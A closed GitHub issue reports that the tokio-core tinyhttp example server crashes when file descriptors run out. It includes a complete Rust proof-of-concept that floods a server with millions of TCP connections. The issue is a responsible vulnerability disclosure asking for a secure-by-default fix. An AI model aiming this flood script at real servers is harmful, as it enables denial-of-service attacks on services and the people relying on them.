Closed
Description
Originally found in hyperium/hyper#1358
the tinyhttp example in tokio-core is vulnerable to DoS attacks because it does not catch IO errors and the server crashes. That happens if the number of file descriptors is exhausted for the server process, resulting in a "Too many open files" IO error.
An attacker just needs to flood the server with TCP connections, proof of concept:
extern crate futures;
extern crate tokio_core;
extern crate tokio_io;
use std::net::ToSocketAddrs;
use futures::Future;
use futures::future::{join_all, loop_fn, Loop};
use tokio_core::net::TcpStream;
use tokio_core::reactor::Core;
fn main() {
let mut core = Core::new().unwrap();
let handle = core.handle();
// Address of the vulnerable server.
let addr = "localhost:8080"
.to_socket_addrs()
.unwrap()
.next()
.unwrap();
// Send 10 million requests.
let nr_requests = 10_000_000;
let concurrency = 100_000;
let mut parallel = Vec::new();
for _i in 0..concurrency {
let requests_til_done = loop_fn(0, |counter| {
// Just establish the TCP connection, do nothing otherwise.
let socket = TcpStream::connect(&addr, &handle);
socket.then(move |_| -> Result<_, std::io::Error> {
if counter < (nr_requests / concurrency) {
Ok(Loop::Continue(counter + 1))
} else {
Ok(Loop::Break(counter))
}
})
});
parallel.push(requests_til_done);
}
let work = join_all(parallel);
core.run(work).unwrap();
}
People use this example as a template for their own servers, so this should be fixed to be secure by default.
Reported this vulnerability to Alex Crichton in private first, but he said that since this is related to just example code it can be handled in public.
Metadata
Metadata
Assignees
Labels
No labels